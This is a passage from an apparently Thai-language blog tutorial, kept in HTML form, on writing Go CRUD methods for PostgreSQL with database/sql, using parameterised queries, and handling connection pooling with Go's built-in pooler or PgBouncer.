&#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE19;&#xE33;&#xE04;&#xE48;&#xE32;&#xE17;&#xE35;&#xE48;&#xE44;&#xE14;&#xE49;&#xE21;&#xE32;&#xE43;&#xE2A;&#xE48;&#xE43;&#xE19;&#xE15;&#xE31;&#xE27;&#xE41;&#xE1B;&#xE23; title</p><figure class="kg-card kg-code-card"><pre><code>func (pdb *PostgresDatabase) GetBook(id int) (string, error) {
	var title string
	err := pdb.db.QueryRow(&quot;SELECT title FROM books WHERE id = $1&quot;, id).Scan(&amp;title)
	if err != nil {
    	// sql.ErrNoRows &#xE40;&#xE1B;&#xE47;&#xE19;&#xE04;&#xE48;&#xE32;&#xE04;&#xE07;&#xE17;&#xE35;&#xE48;&#xE17;&#xE35;&#xE48;&#xE43;&#xE0A;&#xE49;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A;&#xE27;&#xE48;&#xE32;&#xE44;&#xE21;&#xE48;&#xE1E;&#xE1A;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE08;&#xE32;&#xE01;&#xE01;&#xE32;&#xE23; Query &#xE42;&#xE14;&#xE22;&#xE40;&#xE09;&#xE1E;&#xE32;&#xE30;&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE43;&#xE0A;&#xE49; QueryRow()
		if err == sql.ErrNoRows {
			return &quot;&quot;, fmt.Errorf(&quot;book not found&quot;)
		}
		return &quot;&quot;, fmt.Errorf(&quot;failed to get book: %v&quot;, err)
	}
	return title, nil
}</code></pre><figcaption>GetBook</figcaption></figure><p><strong>&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;&#xE40;&#xE15;&#xE34;&#xE21; </strong>&#xE41;&#xE15;&#xE48;&#xE16;&#xE49;&#xE32;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23; Query &#xE2B;&#xE19;&#xE31;&#xE07;&#xE2A;&#xE37;&#xE2D;&#xE17;&#xE38;&#xE01;&#xE40;&#xE25;&#xE48;&#xE21; &#xE40;&#xE23;&#xE32;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE43;&#xE0A;&#xE49; Query() &#xE41;&#xE17;&#xE19; QueryRow()</p><pre><code>rows, err := pdb.db.Query(&quot;SELECT title FROM books&quot;)</code></pre><p>&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE40;&#xE23;&#xE35;&#xE22;&#xE01; pdb.db.Query() &#xE21;&#xE31;&#xE19;&#xE08;&#xE30;&#xE2A;&#xE48;&#xE07;&#xE04;&#xE37;&#xE19; *sql.Rows (Interface) &#xE17;&#xE35;&#xE48;&#xE43;&#xE0A;&#xE49;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE1C;&#xE25;&#xE25;&#xE31;&#xE1E;&#xE18;&#xE4C;&#xE08;&#xE32;&#xE01;&#xE01;&#xE32;&#xE23; Query Database</p><p>*sql.Rows &#xE44;&#xE21;&#xE48;&#xE43;&#xE0A;&#xE48; Cursor &#xE42;&#xE14;&#xE22;&#xE15;&#xE23;&#xE07;&#xE41;&#xE15;&#xE48;&#xE17;&#xE33;&#xE2B;&#xE19;&#xE49;&#xE32;&#xE17;&#xE35;&#xE48;&#xE04;&#xE25;&#xE49;&#xE32;&#xE22;&#xE01;&#xE31;&#xE19; &#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE23;&#xE31;&#xE1A;&#xE21;&#xE31;&#xE19;&#xE21;&#xE32;&#xE21;&#xE31;&#xE19;&#xE08;&#xE30;&#xE22;&#xE31;&#xE07;&#xE44;&#xE21;&#xE48;&#xE44;&#xE14;&#xE49;&#xE0A;&#xE35;&#xE49;&#xE44;&#xE1B;&#xE17;&#xE35;&#xE48;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25; &#xE01;&#xE32;&#xE23;&#xE40;&#xE23;&#xE35;&#xE22;&#xE01;&#xE43;&#xE0A;&#xE49; Method &quot;rows.Next()&quot; &#xE43;&#xE19;&#xE04;&#xE23;&#xE31;&#xE49;&#xE07;&#xE41;&#xE23;&#xE01; &#xE08;&#xE30;&#xE17;&#xE33;&#xE43;&#xE2B;&#xE49;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE40;&#xE25;&#xE37;&#xE48;&#xE2D;&#xE19; *sql.Rows &#xE44;&#xE1B;&#xE22;&#xE31;&#xE07;&#xE41;&#xE16;&#xE27;&#xE41;&#xE23;&#xE01;&#xE02;&#xE2D;&#xE07;&#xE1C;&#xE25;&#xE25;&#xE31;&#xE1E;&#xE18;&#xE4C; (&#xE16;&#xE49;&#xE32;&#xE21;&#xE35;)</p><p>&#xE16;&#xE49;&#xE32;&#xE21;&#xE35;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25; rows.Next() &#xE08;&#xE30;&#xE04;&#xE37;&#xE19;&#xE04;&#xE48;&#xE32; true &#xE41;&#xE15;&#xE48;&#xE16;&#xE49;&#xE32;&#xE44;&#xE21;&#xE48;&#xE21;&#xE35;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25; rows.Next() &#xE08;&#xE30;&#xE04;&#xE37;&#xE19;&#xE04;&#xE48;&#xE32; false &#xE14;&#xE31;&#xE07;&#xE19;&#xE31;&#xE49;&#xE19;&#xE40;&#xE23;&#xE32;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE43;&#xE0A;&#xE49; for rows.Next() &#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE27;&#xE19; Loop &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE2D;&#xE48;&#xE32;&#xE19;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE08;&#xE32;&#xE01;&#xE41;&#xE16;&#xE27;&#xE1B;&#xE31;&#xE08;&#xE08;&#xE38;&#xE1A;&#xE31;&#xE19;&#xE17;&#xE35;&#xE48; *sql.Rows &#xE01;&#xE33;&#xE25;&#xE31;&#xE07;&#xE0A;&#xE35;&#xE49;&#xE2D;&#xE22;&#xE39;&#xE48;&#xE08;&#xE19;&#xE01;&#xE27;&#xE48;&#xE32;&#xE08;&#xE30;&#xE2B;&#xE21;&#xE14;</p><pre><code>for rows.Next() {
    // &#xE2D;&#xE48;&#xE32;&#xE19;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE08;&#xE32;&#xE01;&#xE41;&#xE16;&#xE27;&#xE1B;&#xE31;&#xE08;&#xE08;&#xE38;&#xE1A;&#xE31;&#xE19;
}</code></pre><p>rows.Scan() &#xE40;&#xE1B;&#xE47;&#xE19;&#xE40;&#xE21;&#xE18;&#xE2D;&#xE14;&#xE17;&#xE35;&#xE48;&#xE43;&#xE0A;&#xE49;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE2D;&#xE48;&#xE32;&#xE19;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE08;&#xE32;&#xE01;&#xE41;&#xE16;&#xE27;&#xE1B;&#xE31;&#xE08;&#xE08;&#xE38;&#xE1A;&#xE31;&#xE19;&#xE17;&#xE35;&#xE48; *sql.Rows &#xE01;&#xE33;&#xE25;&#xE31;&#xE07;&#xE0A;&#xE35;&#xE49; &#xE21;&#xE31;&#xE19;&#xE08;&#xE30;&#xE23;&#xE31;&#xE1A; Parameter &#xE40;&#xE1B;&#xE47;&#xE19; Pointer &#xE44;&#xE1B;&#xE22;&#xE31;&#xE07;&#xE15;&#xE31;&#xE27;&#xE41;&#xE1B;&#xE23;&#xE17;&#xE35;&#xE48;&#xE08;&#xE30;&#xE40;&#xE01;&#xE47;&#xE1A;&#xE04;&#xE48;&#xE32;</p><pre><code>var title string
if err := rows.Scan(&amp;title); err != nil {
    // &#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE01;&#xE31;&#xE1A;&#xE02;&#xE49;&#xE2D;&#xE1C;&#xE34;&#xE14;&#xE1E;&#xE25;&#xE32;&#xE14;
}</code></pre><p>&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49; rows.Next() &#xE41;&#xE25;&#xE30; rows.Scan() &#xE23;&#xE48;&#xE27;&#xE21;&#xE01;&#xE31;&#xE19;&#xE43;&#xE19; Loop &#xE08;&#xE30;&#xE17;&#xE33;&#xE43;&#xE2B;&#xE49;&#xE40;&#xE23;&#xE32;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE2D;&#xE48;&#xE32;&#xE19;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE2B;&#xE19;&#xE31;&#xE07;&#xE2A;&#xE37;&#xE2D;&#xE08;&#xE32;&#xE01;&#xE17;&#xE38;&#xE01;&#xE41;&#xE16;&#xE27;&#xE17;&#xE35;&#xE48; Query &#xE44;&#xE14;&#xE49; &#xE41;&#xE25;&#xE30;&#xE40;&#xE01;&#xE47;&#xE1A;&#xE1C;&#xE25;&#xE25;&#xE31;&#xE1E;&#xE18;&#xE4C;&#xE25;&#xE07;&#xE43;&#xE19; Slice &#xE02;&#xE2D;&#xE07; string</p><pre><code>var titles []string
for rows.Next() {
    var title string
    if err := rows.Scan(&amp;title); err != nil {
        return nil, fmt.Errorf(&quot;failed to scan book title: %v&quot;, err)
    }
    titles = append(titles, title)
}</code></pre><p>&#xE40;&#xE23;&#xE32;&#xE04;&#xE27;&#xE23;&#xE43;&#xE0A;&#xE49; <strong>defer rows.Close()</strong> &#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE1B;&#xE34;&#xE14; rows &#xE2B;&#xE25;&#xE31;&#xE07;&#xE08;&#xE32;&#xE01;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19;&#xE40;&#xE2A;&#xE23;&#xE47;&#xE08; &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE04;&#xE37;&#xE19;&#xE17;&#xE23;&#xE31;&#xE1E;&#xE22;&#xE32;&#xE01;&#xE23;&#xE43;&#xE2B;&#xE49;&#xE01;&#xE31;&#xE1A;&#xE23;&#xE30;&#xE1A;&#xE1A;</p><p>Code &#xE40;&#xE15;&#xE47;&#xE21;&#xE02;&#xE2D;&#xE07; Method &quot;GetAllBooks()&quot; &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE14;&#xE36;&#xE07;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE2B;&#xE19;&#xE31;&#xE07;&#xE2A;&#xE37;&#xE2D;&#xE17;&#xE31;&#xE49;&#xE07;&#xE2B;&#xE21;&#xE14;&#xE2D;&#xE32;&#xE08;&#xE21;&#xE35;&#xE14;&#xE31;&#xE07;&#xE19;&#xE35;&#xE49;</p><figure class="kg-card kg-code-card"><pre><code>func (pdb *PostgresDatabase) GetAllBooks() ([]string, error) {
	rows, err := pdb.db.Query(&quot;SELECT title FROM books&quot;)
	if err != nil {
		return nil, fmt.Errorf(&quot;failed to query books: %v&quot;, err)
	}
	defer rows.Close()

	var titles []string
	for rows.Next() {
		var title string
		if err := rows.Scan(&amp;title); err != nil {
			return nil, fmt.Errorf(&quot;failed to scan book title: %v&quot;, err)
		}
		titles = append(titles, title)
	}

	if err := rows.Err(); err != nil {
		return nil, fmt.Errorf(&quot;error iterating over books: %v&quot;, err)
	}

	return titles, nil
}</code></pre><figcaption>GetAllBooks</figcaption></figure><p><strong>AddBook</strong><br>Method &quot;AddBook()&quot; &#xE40;&#xE1B;&#xE47;&#xE19;&#xE2A;&#xE48;&#xE27;&#xE19;&#xE2B;&#xE19;&#xE36;&#xE48;&#xE07;&#xE02;&#xE2D;&#xE07; PostgresDatabase struct &#xE43;&#xE0A;&#xE49;&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;&#xE2B;&#xE19;&#xE31;&#xE07;&#xE2A;&#xE37;&#xE2D;&#xE43;&#xE2B;&#xE21;&#xE48;&#xE43;&#xE19; Database &#xE42;&#xE14;&#xE22;&#xE23;&#xE31;&#xE1A; Parameter &quot;title&quot; &#xE40;&#xE1B;&#xE47;&#xE19; string &#xE41;&#xE25;&#xE30;&#xE04;&#xE37;&#xE19;&#xE04;&#xE48;&#xE32;&#xE40;&#xE1B;&#xE47;&#xE19; error (&#xE16;&#xE49;&#xE32;&#xE21;&#xE35;)</p><p>&#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE43;&#xE0A;&#xE49; <strong>Exec() </strong>&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE23;&#xE31;&#xE19;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; SQL &#xE17;&#xE35;&#xE48;<strong>&#xE44;&#xE21;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23;&#xE1C;&#xE25;&#xE25;&#xE31;&#xE1E;&#xE18;&#xE4C;&#xE01;&#xE25;&#xE31;&#xE1A;&#xE21;&#xE32;</strong> (&#xE40;&#xE0A;&#xE48;&#xE19; INSERT, UPDATE, DELETE)&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;&#xE2B;&#xE19;&#xE31;&#xE07;&#xE2A;&#xE37;&#xE2D;</p><pre><code>_, err := pdb.db.Exec(&quot;INSERT INTO books (title) VALUES ($1)&quot;, title)</code></pre><p>title &#xE08;&#xE30;&#xE16;&#xE39;&#xE01;&#xE2A;&#xE48;&#xE07;&#xE40;&#xE1B;&#xE47;&#xE19; Parameter &#xE0B;&#xE36;&#xE48;&#xE07;&#xE08;&#xE30;&#xE16;&#xE39;&#xE01;&#xE41;&#xE17;&#xE19;&#xE17;&#xE35;&#xE48;&#xE43;&#xE19; $1 &#xE0B;&#xE36;&#xE48;&#xE07;&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49; $1 &#xE41;&#xE25;&#xE30;&#xE2A;&#xE48;&#xE07; title &#xE40;&#xE1B;&#xE47;&#xE19; Parameter &#xE0B;&#xE36;&#xE48;&#xE07;&#xE08;&#xE30;&#xE0A;&#xE48;&#xE27;&#xE22;&#xE1B;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE31;&#xE19; SQL Injection</p><figure class="kg-card kg-code-card"><pre><code>func (pdb *PostgresDatabase) AddBook(title string) error {
	_, err := pdb.db.Exec(&quot;INSERT INTO books (title) VALUES ($1)&quot;, title)
	if err != nil {
		return fmt.Errorf(&quot;failed to add book: %v&quot;, err)
	}
	return nil
}</code></pre><figcaption>AddBook</figcaption></figure><p><strong>DeleteBook</strong><br>Method &quot;DeleteBook()&quot; &#xE40;&#xE1B;&#xE47;&#xE19;&#xE2A;&#xE48;&#xE27;&#xE19;&#xE2B;&#xE19;&#xE36;&#xE48;&#xE07;&#xE02;&#xE2D;&#xE07; PostgresDatabase struct &#xE43;&#xE0A;&#xE49;&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE25;&#xE1A;&#xE2B;&#xE19;&#xE31;&#xE07;&#xE2A;&#xE37;&#xE2D;&#xE2D;&#xE2D;&#xE01;&#xE08;&#xE32;&#xE01; Database &#xE42;&#xE14;&#xE22;&#xE23;&#xE31;&#xE1A; Parameter &#xE40;&#xE1B;&#xE47;&#xE19; id &#xE41;&#xE25;&#xE30;&#xE04;&#xE37;&#xE19;&#xE04;&#xE48;&#xE32;&#xE40;&#xE1B;&#xE47;&#xE19; error (&#xE16;&#xE49;&#xE32;&#xE21;&#xE35;)</p><p>&#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE43;&#xE0A;&#xE49; Exec() &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE23;&#xE31;&#xE19;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; DELETE &#xE42;&#xE14;&#xE22;&#xE40;&#xE01;&#xE47;&#xE1A;&#xE1C;&#xE25;&#xE25;&#xE31;&#xE1E;&#xE18;&#xE4C;&#xE02;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23;&#xE25;&#xE1A;&#xE2B;&#xE19;&#xE31;&#xE07;&#xE2A;&#xE37;&#xE2D;&#xE43;&#xE19;&#xE15;&#xE31;&#xE27;&#xE41;&#xE1B;&#xE23; result </p><pre><code>result, err := pdb.db.Exec(&quot;DELETE FROM books WHERE id = $1&quot;, id)</code></pre><p>&#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A;&#xE27;&#xE48;&#xE32;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE25;&#xE1A;&#xE40;&#xE01;&#xE34;&#xE14;&#xE02;&#xE36;&#xE49;&#xE19;&#xE08;&#xE23;&#xE34;&#xE07;&#xE44;&#xE2B;&#xE21; &#xE08;&#xE32;&#xE01;&#xE08;&#xE33;&#xE19;&#xE27;&#xE19;&#xE41;&#xE16;&#xE27;&#xE17;&#xE35;&#xE48;&#xE16;&#xE39;&#xE01;&#xE25;&#xE1A;&#xE17;&#xE35;&#xE48;&#xE44;&#xE14;&#xE49;&#xE21;&#xE32;&#xE14;&#xE49;&#xE27;&#xE22;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; <strong>result.RowsAffected()</strong></p><pre><code>rowsAffected, err := result.RowsAffected()</code></pre><p>&#xE16;&#xE49;&#xE32; rowsAffected = 0 &#xE41;&#xE2A;&#xE14;&#xE07;&#xE27;&#xE48;&#xE32;&#xE44;&#xE21;&#xE48;&#xE1E;&#xE1A;&#xE2B;&#xE19;&#xE31;&#xE07;&#xE2A;&#xE37;&#xE2D;&#xE17;&#xE35;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23;&#xE25;&#xE1A;</p><figure class="kg-card kg-code-card"><pre><code>func (pdb *PostgresDatabase) DeleteBook(id int) error {
	result, err := pdb.db.Exec(&quot;DELETE FROM books WHERE id = $1&quot;, id)
	if err != nil {
		return fmt.Errorf(&quot;failed to delete book: %v&quot;, err)
	}
	
	rowsAffected, err := result.RowsAffected()
	if err != nil {
		return fmt.Errorf(&quot;failed to get rows affected: %v&quot;, err)
	}
	
	if rowsAffected == 0 {
		return fmt.Errorf(&quot;book not found&quot;)
	}
	
	return nil
}</code></pre><figcaption>DeleteBook</figcaption></figure><p><strong>Close</strong><br>Method &quot;Close()&quot; &#xE40;&#xE1B;&#xE47;&#xE19;&#xE2A;&#xE48;&#xE27;&#xE19;&#xE2B;&#xE19;&#xE36;&#xE48;&#xE07;&#xE02;&#xE2D;&#xE07; PostgresDatabase struct &#xE43;&#xE0A;&#xE49;&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE1B;&#xE34;&#xE14;&#xE01;&#xE32;&#xE23;&#xE40;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE21;&#xE15;&#xE48;&#xE2D;&#xE01;&#xE31;&#xE1A;&#xE10;&#xE32;&#xE19;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;</p><figure class="kg-card kg-code-card"><pre><code>func (pdb *PostgresDatabase) Close() error {
	return pdb.db.Close()
}</code></pre><figcaption>Close</figcaption></figure><p><strong>&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;&#xE1B;&#xE23;&#xE30;&#xE2A;&#xE34;&#xE17;&#xE18;&#xE34;&#xE20;&#xE32;&#xE1E;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE01;&#xE32;&#xE23;&#xE40;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE21;&#xE15;&#xE48;&#xE2D;&#xE10;&#xE32;&#xE19;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE43;&#xE2B;&#xE49;&#xE21;&#xE32;&#xE01;&#xE02;&#xE36;&#xE49;&#xE19;&#xE14;&#xE49;&#xE27;&#xE22;&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49; Connection Pooling</strong></p><p>Go &#xE21;&#xE35; <strong>Connection Pooler</strong> &#xE43;&#xE2B;&#xE49;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19;&#xE1C;&#xE48;&#xE32;&#xE19; Standard Package &quot;database/sql&quot; </p><p>Connection Pooler &#xE04;&#xE37;&#xE2D; &#xE15;&#xE31;&#xE27;&#xE01;&#xE25;&#xE32;&#xE07;&#xE17;&#xE35;&#xE48;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE01;&#xE32;&#xE23;&#xE40;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE21;&#xE15;&#xE48;&#xE2D;&#xE23;&#xE30;&#xE2B;&#xE27;&#xE48;&#xE32;&#xE07; Application &#xE01;&#xE31;&#xE1A; PostgreSQL &#xE17;&#xE33;&#xE43;&#xE2B;&#xE49;&#xE25;&#xE14;&#xE08;&#xE33;&#xE19;&#xE27;&#xE19;&#xE01;&#xE32;&#xE23;&#xE40;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE21;&#xE15;&#xE48;&#xE2D;&#xE17;&#xE35;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE42;&#xE14;&#xE22;&#xE15;&#xE23;&#xE07;&#xE14;&#xE49;&#xE27;&#xE22; PostgreSQL</p><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/09/pg.png" class="kg-image" alt loading="lazy" width="2000" height="465" srcset="https://blog.pjjop.org/content/images/size/w600/2024/09/pg.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/09/pg.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/09/pg.png 1600w, https://blog.pjjop.org/content/images/size/w2400/2024/09/pg.png 2400w" sizes="(min-width: 720px) 720px"></figure><p>&#xE40;&#xE23;&#xE32;&#xE2D;&#xE32;&#xE08;&#xE40;&#xE25;&#xE37;&#xE2D;&#xE01;&#xE43;&#xE0A;&#xE49; <strong><a href="https://www.pgbouncer.org/?ref=blog.pjjop.org">PgBouncer</a></strong> &#xE0B;&#xE36;&#xE48;&#xE07;&#xE40;&#xE1B;&#xE47;&#xE19; Open-source Connection Pooler Server &#xE17;&#xE35;&#xE48;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE2D;&#xE22;&#xE39;&#xE48;&#xE23;&#xE30;&#xE2B;&#xE27;&#xE48;&#xE32;&#xE07; Application &#xE41;&#xE25;&#xE30; Database &#xE40;&#xE2B;&#xE21;&#xE37;&#xE2D;&#xE19;&#xE01;&#xE31;&#xE1A;&#xE20;&#xE32;&#xE1E;&#xE14;&#xE49;&#xE32;&#xE19;&#xE1A;&#xE19; &#xE2B;&#xE23;&#xE37;&#xE2D;&#xE43;&#xE0A;&#xE49; Connection Pooler &#xE02;&#xE2D;&#xE07; Go &#xE17;&#xE35;&#xE48;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE43;&#xE19;&#xE23;&#xE30;&#xE14;&#xE31;&#xE1A; Application (Go&apos;s Built-in Connection Pooling) &#xE42;&#xE14;&#xE22;&#xE15;&#xE23;&#xE07; &#xE42;&#xE14;&#xE22;&#xE44;&#xE21;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE15;&#xE34;&#xE14;&#xE15;&#xE31;&#xE49;&#xE07; Server &#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;</p><p>PostgreSQL Database &#xE40;&#xE1B;&#xE23;&#xE35;&#xE22;&#xE1A;&#xE40;&#xE2A;&#xE21;&#xE37;&#xE2D;&#xE19;&#xE23;&#xE49;&#xE32;&#xE19;&#xE2D;&#xE32;&#xE2B;&#xE32;&#xE23;&#xE02;&#xE19;&#xE32;&#xE14;&#xE43;&#xE2B;&#xE0D;&#xE48;&#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE25;&#xE39;&#xE01;&#xE04;&#xE49;&#xE32;&#xE08;&#xE33;&#xE19;&#xE27;&#xE19;&#xE21;&#xE32;&#xE01; &#xE0B;&#xE36;&#xE48;&#xE07;&#xE21;&#xE35;&#xE1E;&#xE48;&#xE2D;&#xE04;&#xE23;&#xE31;&#xE27;&#xE41;&#xE25;&#xE30;&#xE1E;&#xE19;&#xE31;&#xE01;&#xE07;&#xE32;&#xE19;&#xE40;&#xE2A;&#xE34;&#xE23;&#xE4C;&#xE1F;&#xE2B;&#xE25;&#xE32;&#xE22;&#xE04;&#xE19;&#xE04;&#xE2D;&#xE22;&#xE43;&#xE2B;&#xE49;&#xE1A;&#xE23;&#xE34;&#xE01;&#xE32;&#xE23; &#xE41;&#xE15;&#xE48;&#xE01;&#xE47;&#xE21;&#xE35;&#xE02;&#xE49;&#xE2D;&#xE08;&#xE33;&#xE01;&#xE31;&#xE14;&#xE14;&#xE49;&#xE32;&#xE19;&#xE1E;&#xE37;&#xE49;&#xE19;&#xE17;&#xE35;&#xE48;&#xE04;&#xE23;&#xE31;&#xE27; &#xE2D;&#xE38;&#xE1B;&#xE01;&#xE23;&#xE13;&#xE4C; &#xE41;&#xE25;&#xE30;&#xE01;&#xE33;&#xE25;&#xE31;&#xE07;&#xE04;&#xE19;</p><p>Connection Pooler (&#xE40;&#xE0A;&#xE48;&#xE19; PgBouncer &#xE2B;&#xE23;&#xE37;&#xE2D; Connection Pooler &#xE02;&#xE2D;&#xE07; Go) &#xE40;&#xE1B;&#xE23;&#xE35;&#xE22;&#xE1A;&#xE44;&#xE14;&#xE49;&#xE01;&#xE31;&#xE1A;&#xE1E;&#xE19;&#xE31;&#xE01;&#xE07;&#xE32;&#xE19;&#xE17;&#xE35;&#xE48;&#xE08;&#xE31;&#xE14;&#xE2A;&#xE23;&#xE23;&#xE42;&#xE15;&#xE4A;&#xE30;&#xE41;&#xE25;&#xE30;&#xE17;&#xE33;&#xE04;&#xE27;&#xE32;&#xE21;&#xE2A;&#xE30;&#xE2D;&#xE32;&#xE14;&#xE42;&#xE15;&#xE4A;&#xE30; (Database Connection) &#xE02;&#xE2D;&#xE07;&#xE23;&#xE49;&#xE32;&#xE19;&#xE2D;&#xE32;&#xE2B;&#xE32;&#xE23;&#xE43;&#xE2B;&#xE49;&#xE1E;&#xE23;&#xE49;&#xE2D;&#xE21;&#xE23;&#xE31;&#xE1A;&#xE25;&#xE39;&#xE01;&#xE04;&#xE49;&#xE32;&#xE2D;&#xE22;&#xE39;&#xE48;&#xE40;&#xE2A;&#xE21;&#xE2D;</p><p>&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE21;&#xE35;&#xE25;&#xE39;&#xE01;&#xE04;&#xE49;&#xE32;&#xE40;&#xE02;&#xE49;&#xE32;&#xE21;&#xE32;&#xE1E;&#xE19;&#xE31;&#xE01;&#xE07;&#xE32;&#xE19;&#xE08;&#xE30;&#xE08;&#xE31;&#xE14;&#xE2A;&#xE23;&#xE23;&#xE42;&#xE15;&#xE4A;&#xE30;&#xE17;&#xE35;&#xE48;&#xE27;&#xE48;&#xE32;&#xE07;&#xE43;&#xE2B;&#xE49;&#xE17;&#xE31;&#xE19;&#xE17;&#xE35;&#xE42;&#xE14;&#xE22;&#xE44;&#xE21;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE23;&#xE2D;&#xE40;&#xE15;&#xE23;&#xE35;&#xE22;&#xE21;&#xE42;&#xE15;&#xE4A;&#xE30;&#xE43;&#xE2B;&#xE21;&#xE48; &#xE2B;&#xE25;&#xE31;&#xE07;&#xE08;&#xE32;&#xE01;&#xE25;&#xE39;&#xE01;&#xE04;&#xE49;&#xE32;&#xE23;&#xE31;&#xE1A;&#xE1B;&#xE23;&#xE30;&#xE17;&#xE32;&#xE19;&#xE2D;&#xE32;&#xE2B;&#xE32;&#xE23;&#xE40;&#xE2A;&#xE23;&#xE47;&#xE08; &#xE42;&#xE15;&#xE4A;&#xE30;&#xE19;&#xE31;&#xE49;&#xE19;&#xE08;&#xE30;&#xE16;&#xE39;&#xE01;&#xE17;&#xE33;&#xE04;&#xE27;&#xE32;&#xE21;&#xE2A;&#xE30;&#xE2D;&#xE32;&#xE14;&#xE41;&#xE25;&#xE30;&#xE1E;&#xE23;&#xE49;&#xE2D;&#xE21;&#xE23;&#xE31;&#xE1A;&#xE25;&#xE39;&#xE01;&#xE04;&#xE49;&#xE32;&#xE23;&#xE32;&#xE22;&#xE15;&#xE48;&#xE2D;&#xE44;&#xE1B;&#xE17;&#xE31;&#xE19;&#xE17;&#xE35; 